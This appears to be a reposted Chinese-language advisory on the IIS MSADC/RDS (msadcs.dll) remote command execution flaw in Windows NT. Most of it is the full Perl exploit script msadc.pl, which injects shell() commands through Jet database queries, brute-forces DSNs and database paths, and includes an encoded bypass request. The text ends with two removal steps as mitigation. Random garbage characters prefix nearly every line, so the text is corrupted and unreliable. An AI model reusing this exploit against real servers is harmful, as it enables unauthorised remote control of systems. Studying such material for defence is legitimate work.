IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
H
l'za (X!?#)fyn 涉及程序：
C~C}b Microsoft NT server
]QB<N|ps cmw2EHTT< 描述：
VBHDI{HzRv 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
v% mAU3M *3,GQ%~/z 详细：
x3X^\ Ig 如果你没有时间读详细内容的话，就删除:
FlWg Tn> c:\Program Files\Common Files\System\Msadc\msadcs.dll
z(-j%? 有关的安全问题就没有了。
AOh\%|} *} yOL
[ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
:n1^Xw0q =(!&8U9 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
XYBvM] 关于利用ODBC远程漏洞的描述，请参看:
jzRfD3_s zF+NS]XK http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm w
Pk\dyP N>Dr
z 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
6EHYIN^D http://www.microsoft.com/security/bulletins/MS99-025faq.asp <"Ox)XG3]W -\Y"MwIED 这里不再论述。
Idq &0<I B hO*Pfs 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
3<5E254N _?9|0>]xG /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
m@|0iDS 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
;< aT| 4 Zd2B4~V M qy5>f) #将下面这段保存为txt文件，然后: "perl -x 文件名"
OxGS{zs \S] "nHX #!perl
AKKp-I5 #
jm|x=s3}h # MSADC/RDS 'usage' (aka exploit) script
--( e(tvf #
RnvPqNs # by rain.forest.puppy
oC l
$ 0x #
pS1f y] # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
z#$>f*b # beta test and find errors!
03 ] L4fM?{Ic:s use Socket; use Getopt::Std;
8T:?C~ " getopts("e:vd:h:XR", \%args);
5PaOa8=2f `y1ne x-0 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
S4r-s;U-v/ +<\)b( if (!defined $args{h} && !defined $args{R}) {
`v]|x,l+C print qq~
}8H_^G8 Usage: msadc.pl -h <host> { -d <delay> -X -v }
/dT7:x* -h <host> = host you want to scan (ip or domain)
>";I3S-t -d <seconds> = delay between calls, default 1 second
o09)esy -X = dump Index Server path table, if available
\ O*8 % -v = verbose
3Kv ~lo ^ -e = external dictionary file for step 5
h KZ<PwBi NJ^H"FLS: Or a -R will resume a command session
h($XR+!# +pGkeZX ~; exit;}
K?M{=$N I n[!g $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
;zMZ+GZ?;+ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
vG`;2laY if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
/7s^OkQ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
*bi!iz5F $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*.4VO+^ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Y|*a,H"_ OGDCC/ if (!defined $args{R}){ $ret = &has_msadc;
M F 7q*f die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
<{t*yMr f!|$!r*q print "Please type the NT commandline you want to run (cmd /c assumed):\n"
hKG)*
Q . "cmd /c ";
=/ b2e\ $in=<STDIN>; chomp $in;
-E*VF{IG1 $command="cmd /c " . $in ;
V30Om3C w=dTa5 if (defined $args{R}) {&load; exit;}
,YEwz3$5u x#_\b- print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
s)gU vS\ &try_btcustmr;
\Z pg,KOT ,*y\b|<j print "\nStep 2: Trying to make our own DSN...";
oS2L"# &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
j %3wD2 l s{"}!y=] print "\nStep 3: Trying known DSNs...";
n54}WGo>9 &known_dsn;
e`N /3q7 GmjTxNU@ print "\nStep 4: Trying known .mdbs...";
yvQRr75 &known_mdb;
NCid`a$ xsPY# if (defined $args{e}){
uBr^TM$k& print "\nStep 5: Trying dictionary of DSN names...";
XL10W ^ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
PVND vUce EFd9n print "Sorry Charley...maybe next time?\n";
" [Z'n9C exit;
)<<}8Fs i4Ps#R_wx ##############################################################################
/Dmuvb|A lk<}`#( g sub sendraw { # ripped and modded from whisker
W7\s=t\ sleep($delay); # it's a DoS on the server! At least on mine...
2YS1%<-g* my ($pstr)=@_;
T>$S&U socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,aA%,C.0U die("Socket problems\n");
&j bZL5 if(connect(S,pack "SnA4x8",2,80,$target)){
(IE\}QcK select(S); $|=1;
*$+:Cbe-F print $pstr; my @in=<S>;
><l|&&e- select(STDOUT); close(S);
V|v KYEFry return @in;
sQIzcnKB } else { die("Can't connect...\n"); }}
Vo G`@^s ,V>7eQt? ##############################################################################
sI&|qK-( \$Jz26
-n sub make_header { # make the HTTP request
./Y5Vk#Rp\ my $msadc=<<EOT
%^zGM^PD POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
IP#?$X User-Agent: ACTIVEDATA
O/N
Ed)H! Host: $ip
Q5kf-~Jx+ Content-Length: $clen
KtR*/<7IC Connection: Keep-Alive
[ST,/<? 0
KF.d: ADCClientVersion:01.06
eu^ B Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
"
M+g= 5s /fBS --!ADM!ROX!YOUR!WORLD!
F\)?Ntj)>@ Content-Type: application/x-varg
-45xa$vv Content-Length: $reqlen
oP%'8%tk ,;
81FK EOT
cBGR%w\t% ; $msadc=~s/\n/\r\n/g;
^U5g7Emf return $msadc;}
6
_Cc+}W t>Ot)d ##############################################################################
4:50dj qs U ob sub make_req { # make the RDS request
2k}8` P; my ($switch, $p1, $p2)=@_;
$-J=UT2m my $req=""; my $t1, $t2, $query, $dsn;
x2 _?B[z '1f:8 if ($switch==1){ # this is the btcustmr.mdb query
~T'!.^/ $query="Select * from Customers where City=" . make_shell();
S.E'fc 1 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
axpn*(yE $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
,cF
$_7M ws_/F elsif ($switch==2){ # this is general make table query
O{Y_j&1 $query="create table AZZ (B int, C varchar(10))";
x&['g*[L0 $dsn="$p1";}
2Nau]y]= $+%e Lx* elsif ($switch==3){ # this is general exploit table query
LQr+)wI $query="select * from AZZ where C=" . make_shell();
)W0zu\fL = $dsn="$p1";}
i& phko} 1d E |q{ elsif ($switch==4){ # attempt to hork file info from index server
xnp5XhU $query="select path from scope()";
k X1#+ X $dsn="Provider=MSIDXS;";}
}Q<c E$c & % infPI' elsif ($switch==5){ # bad query
#[<XN s!" $query="select";
:wcv,YoSG $dsn="$p1";}
bS2)L4MQ Y $I$ B8 $t1= make_unicode($query);
V= +wsc $t2= make_unicode($dsn);
k% -S7iQ $req = "\x02\x00\x03\x00";
(& =gM $req.= "\x08\x00" . pack ("S1", length($t1));
=0" Zse, $req.= "\x00\x00" . $t1 ;
|PY*" Ul $req.= "\x08\x00" . pack ("S1", length($t2));
V']{n7a- $req.= "\x00\x00" . $t2 ;
Y \oz9tf8 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
e5HHsR6 return $req;}
'(.vB~m7*+ {i!@C(M3 ##############################################################################
%aHQIoxg xUw)mUn@N sub make_shell { # this makes the shell() statement
-Y:^<C^^&8 return "'|shell(\"$command\")|'";}
V W%eB Zf [ #~ 4 ##############################################################################
V9 SkB3-' ^j)0&}fB sub make_unicode { # quick little function to convert to unicode
6.0/asN} my ($in)=@_; my $out;
!=t.AgmL for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
qz] g4hS return $out;}
T=- $ok`G IFd2r;W8 ##############################################################################
F2bAo 6~R &i8UPp% sub rdo_success { # checks for RDO return success (this is kludge)
'U %L\v, my (@in) = @_; my $base=content_start(@in);
Scfk] DT if($in[$base]=~/multipart\/mixed/){
$ Lf-Gi return 1 if( $in[$base+10]=~/^\x09\x00/ );}
fMSB return 0;}
:"u tFBO /P}Wp[)u ##############################################################################
F%s'R 0l rf[w&~R sub make_dsn { # this makes a DSN for us
NMCMY<o my @drives=("c","d","e","f");
KgCQ4w9 print "\nMaking DSN: ";
HT@/0MF{J foreach $drive (@drives) {
/OaW4 b$Tz print "$drive: ";
N:]Ud(VRM my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
So^; 5tG "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
l A1l . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
A"PmoV?lAm $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
E5EAk6 return 0 if $2 eq "404"; # not found/doesn't exist
q n2X. _` if($2 eq "200") {
8`? vWJS foreach $line (@results) {
k NnI$(H"H return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
sm1(I7y } return 0;}
^@a|s
Sb XSDudL ##############################################################################
_ +? v'# F ~O}@e{ sub verify_exists {
due'c! wW my ($page)=@_;
-NgL4?p= my @results=sendraw("GET $page HTTP/1.0\n\n");
U $+G9 return $results[0];}
rERHfr`OU <T0+-]i ##############################################################################
!U?Z<zh 5[\LQtM sub try_btcustmr {
qL
0{w7 my @drives=("c","d","e","f");
J<'7z%2w my @dirs=("winnt","winnt35","winnt351","win","windows");
?--EIA8mfp pndAXO:v foreach $dir (@dirs) {
41'|~3\X print "$dir -> "; # fun status so you can see progress
)v cyoq foreach $drive (@drives) {
4a6WQVS print "$drive: "; # ditto
0Ia8x?80V $reqlen=length( make_req(1,$drive,$dir) ) - 28;
X$4MpXx $reqlenlen=length( "$reqlen" );
p\&Lbuzv $clen= 206 + $reqlenlen + $reqlen;
(='e9H!3D ra[*E4P9L* my @results=sendraw(make_header() . make_req(1,$drive,$dir));
q8 _8rp-@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
xD|CQo}: else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
N)t qjq <Jwx| ##############################################################################
rgOc+[X [fjP.kw;J sub odbc_error {
u+
?Wm40E my (@in)=@_; my $base;
kbHf dA my $base = content_start(@in);
JJ=%\j if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
)t#v55M $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;xKPa6`E $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WU"
Lu $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K:3u/C` return $in[$base+4].$in[$base+5].$in[$base+6];}
X":T>) J- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
I6B`G Im5 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
q(C <w $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
m+7/ebj{A >#[u"CB ##############################################################################
2U
Q&n` A i; GF/pi sub verbose {
0zC mU)ng my ($in)=@_;
l2lyi
return if !$verbose;
6k@(7Mw8A print STDOUT "\n$in\n";}
m [t4XK ^jiYcg@_[ ##############################################################################
E#L"*vh wP: w8O sub save {
f'>270pH my ($p1, $p2, $p3, $p4)=@_;
[Jjb<6[o
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
;94e print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
)A 6 eD close OUT;}
1m5 =Nu P
nxx W? ##############################################################################
ff3HR+%M 0:SR29(p1 sub load {
!9/1_Bjv my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ee+*&CT) open(IN,"<rds.save") || die("Couldn't open rds.save\n");
<PayP3E @p=<IN>; close(IN);
-3)]IA $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
`c )// o $target= inet_aton($ip) || die("inet_aton problems");
d77->FX2 print "Resuming to $ip ...";
N;A#K 7A[@ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
5 ,,b>Z< if($p[1]==1) {
!pMp
n%r<] $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
{#]vvO2~$ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
!jIpgs5 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
REe<k<>p~ if (rdo_success(@results)){print "Success!\n";}
M]RbaXZ9 else { print "failed\n"; verbose(odbc_error(@results));}}
:4(.S<fH)- elsif ($p[1]==3){
P0 va= H if(run_query("$p[3]")){
]sbj 8 print "Success!\n";} else { print "failed\n"; }}
e_6-+l!f elsif ($p[1]==4){
mg )Zo C if(run_query($drvst . "$p[3]")){
I\ |x0D print "Success!\n"; } else { print "failed\n"; }}
!&ly :v! exit;}
= DT7]fU ,vnHEY& ##############################################################################
O6[, K1, xMb)4 cw} sub create_table {
FuKp` T-H my ($in)=@_;
fF\s5f#: $reqlen=length( make_req(2,$in,"") ) - 28;
{);S6F$[3 $reqlenlen=length( "$reqlen" );
%~`y82r6 $clen= 206 + $reqlenlen + $reqlen;
8)1 k>= my @results=sendraw(make_header() . make_req(2,$in,""));
^Iz(V2 return 1 if rdo_success(@results);
V\ 7O) g my $temp= odbc_error(@results); verbose($temp);
;Rz+4< return 1 if $temp=~/Table 'AZZ' already exists/;
ZMI!Sl return 0;}
etPb^&#$ }!W,/=z* ##############################################################################
J=*X%^jX9Z @
z{ E sub known_dsn {
0rjH`H]M # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
[YsN c my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
C XZO "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
|?tUUT!`t "banner", "banners", "ads", "ADCDemo", "ADCTest");
6^Q Bol ks=l
Nz9 foreach $dSn (@dsns) {
TCC([ print ".";
I`~ ofq?r next if (!is_access("DSN=$dSn"));
rTgCmr'& if(create_table("DSN=$dSn")){
+ \DGS print "$dSn successful\n";
CfSpwkg if(run_query("DSN=$dSn")){
) sh+cfTCb print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
U1Z.#ETnM print "Something's borked. Use verbose next time\n";}}} print "\n";}
RO]Vn]qb h]DS$WZ ##############################################################################
3%g\)C s R43yr+p sub is_access {
5$(qnOi my ($in)=@_;
ncGg@$E $reqlen=length( make_req(5,$in,"") ) - 28;
: d Zq!1~t $reqlenlen=length( "$reqlen" );
+ 8rG Stv $clen= 206 + $reqlenlen + $reqlen;
";& 5@H| my @results=sendraw(make_header() . make_req(5,$in,""));
CPw=?<db my $temp= odbc_error(@results);
m~LB0u$ac verbose($temp); return 1 if ($temp=~/Microsoft Access/);
4l7F V<g return 0;}
IC1oW) Gs2| #*6 ##############################################################################
n O'lN<L s Y^#I sub run_query {
/O@dqEbc my ($in)=@_;
O F4iGFw $reqlen=length( make_req(3,$in,"") ) - 28;
(.:!_OB0N $reqlenlen=length( "$reqlen" );
O e-FI+7 $clen= 206 + $reqlenlen + $reqlen;
3k AhvL my @results=sendraw(make_header() . make_req(3,$in,""));
Vd VUYp return 1 if rdo_success(@results);
0E6tH&
;> my $temp= odbc_error(@results); verbose($temp);
/4]<ro67E6 return 0;}
2]$
7 e~NEyS~3 ##############################################################################
<|Pw*L$ \fHtk _ sub known_mdb {
l f< ?k my @drives=("c","d","e","f","g");
v(=?ge YLo my @dirs=("winnt","winnt35","winnt351","win","windows");
KqM! 7 my $dir, $drive, $mdb;
aCq ) hR my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
|6M:JI8 u@ ;6r"8q # this is sparse, because I don't know of many
Y [hTO.LF my @sysmdbs=( "\\catroot\\icatalog.mdb",
yBd#*3 K1 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
) r8yt} "\\system32\\certmdb.mdb",
s$V'|Pt "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
8>}k5Qu 0 e}N{,&Y my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
EH*Lw
c "\\cfusion\\cfapps\\forums\\forums_.mdb",
7 )2Co[t "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
tSP)'N< "\\cfusion\\cfapps\\security\\realm_.mdb",
n#{z"G "\\cfusion\\cfapps\\security\\data\\realm.mdb",
4\cJ}p}LZ{ "\\cfusion\\database\\cfexamples.mdb",
IQ${2Dpg[ "\\cfusion\\database\\cfsnippets.mdb",
Znv3h "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
j~|pSu.< "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
|KV|x ^fJ "\\cfusion\\brighttiger\\database\\cleam.mdb",
/M}jF*5N "\\cfusion\\database\\smpolicy.mdb",
ewOd
=% "\\cfusion\\database\cypress.mdb",
zdL"PF "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
_y,? Cj=u| "\\website\\cgi-win\\dbsample.mdb",
Nq$Xe~,* "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
q_h=O1W "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
+A
4};]W| ); #these are just
@w%{yzr% foreach $drive (@drives) {
6AM -^S@ foreach $dir (@dirs){
=B0#z]qu foreach $mdb (@sysmdbs) {
-HE@wda print ".";
^
#6Ei9di if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
-^Pn4y]A) print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
k>2tC< if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
%Sgdhgk1 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
tX<.
Ud } else { print "Something's borked. Use verbose next time\n"; }}}}}
2MV!@rx XLog+F$` foreach $drive (@drives) {
%^5| 3l3y foreach $mdb (@mdbs) {
sPu@t&$
print ".";
7a,/DI2o if(create_table($drv . $drive . $dir . $mdb)){
_(qU%B print "\n" . $drive . $dir . $mdb . " successful\n";
!| G 8b' if(run_query($drv . $drive . $dir . $mdb)){
\Ax[/J2aO print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
'b? P x} } else { print "Something's borked. Use verbose next time\n"; }}}}
i`FskEoijq }
#RJFJb/ 7U@;X~c ##############################################################################
U_X / w7(j SPB sub hork_idx {
3M?vK(zG>P print "\nAttempting to dump Index Server tables...\n";
c] u^0X?& print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
"JH
/ ODm $reqlen=length( make_req(4,"","") ) - 28;
o
0-3[W'x< $reqlenlen=length( "$reqlen" );
Cwb }$=p' $clen= 206 + $reqlenlen + $reqlen;
)kBN]>&R my @results=sendraw2(make_header() . make_req(4,"",""));
i^i^g5l! if (rdo_success(@results)){
-Um|: [*I my $max=@results; my $c; my %d;
^lt;K{ for($c=19; $c<$max; $c++){
A6 D@#(D $results[$c]=~s/\x00//g;
f vAF0
a $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-0 e&>H% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
3I" <\M4x $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
H{XD> q. $d{"$1$2"}="";}
6r|Bi HP foreach $c (keys %d){ print "$c\n"; }
=GP~h*5es } else {print "Index server doesn't seem to be installed.\n"; }}
NoR=:Q 9e ~h:/9q ##############################################################################
2I8 RO\zR eSC69m fD sub dsn_dict {
p+t79F.js open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ggy 7p44 while(<IN>){
`T-lB wH $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
,h#U<CnP# next if (!is_access("DSN=$dSn"));
7%%FYHMO: if(create_table("DSN=$dSn")){
3 ;N+5*- print "$dSn successful\n";
p ^E}%0# if(run_query("DSN=$dSn")){
T% opkyP>= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6v]y\+ print "Something's borked. Use verbose next time\n";}}}
)|Ho"VEmg print "\n"; close(IN);}
5Tb3 Yy< . 53i7:1[uV ##############################################################################
9b8kRz[ c :~%
zX* sub sendraw2 { # ripped and modded from whisker
}"sZ )FE sleep($delay); # it's a DoS on the server! At least on mine...
M)<4|x my ($pstr)=@_;
,{pC 1A@s socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4!I;U>b b die("Socket problems\n");
F+lsza if(connect(S,pack "SnA4x8",2,80,$target)){
S~Z`?qHWh print "Connected. Getting data";
pE^j Uxk6 open(OUT,">raw.out"); my @in;
ZeL v! select(S); $|=1; print $pstr;
h=1cD\^|qw while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
NIzx SGk| close(OUT); select(STDOUT); close(S); return @in;
N9[2k.oBH } else { die("Can't connect...\n"); }}
"I7 Sed7 OLl?1 ##############################################################################
Dd=iYM m7 ITq $8 sub content_start { # this will take in the server headers
x+X^K_* my (@in)=@_; my $c;
Y!+q3`-%T for ($c=1;$c<500;$c++) {
q%RPA e if($in[$c] =~/^\x0d\x0a/){
E&RiEhuv if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
0Xke26ga else { return $c+1; }}}
" iKX-VIl return -1;} # it should never get here actually
TqZ&X| G DaK 2P;WP ##############################################################################
PCx] >& |, Lp1 sub funky {
a9w1Z4 my (@in)=@_; my $error=odbc_error(@in);
W,g0n=2 V if($error=~/ADO could not find the specified provider/){
HZG<aY=" print "\nServer returned an ADO miscofiguration message\nAborting.\n";
.t7mTpi exit;}
!Q0aKkMfL if($error=~/A Handler is required/){
s-- \<v print "\nServer has custom handler filters (they most likely are patched)\n";
,o_Ur.UJ exit;}
Py3Y*YP if($error=~/specified Handler has denied Access/){
0VA$
Ige print "\nServer has custom handler filters (they most likely are patched)\n";
4;_<CB exit;}}
o|FY-+ IhRYV`: ##############################################################################
- %h0`hOG{ [xrM){ItW sub has_msadc {
1\~-No my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
E2
5:e EXa my $base=content_start(@results);
RjOQSy3 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
On^jHqLaE return 0;}
.2si[:_(p =Y0>b4 ########################
.ZB/!WiF ,%L>TD'48s 7n_'2qY 解决方案：
T9N&Nh7 3 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Ao%;!(\I% 2、移除web 目录: /msadc
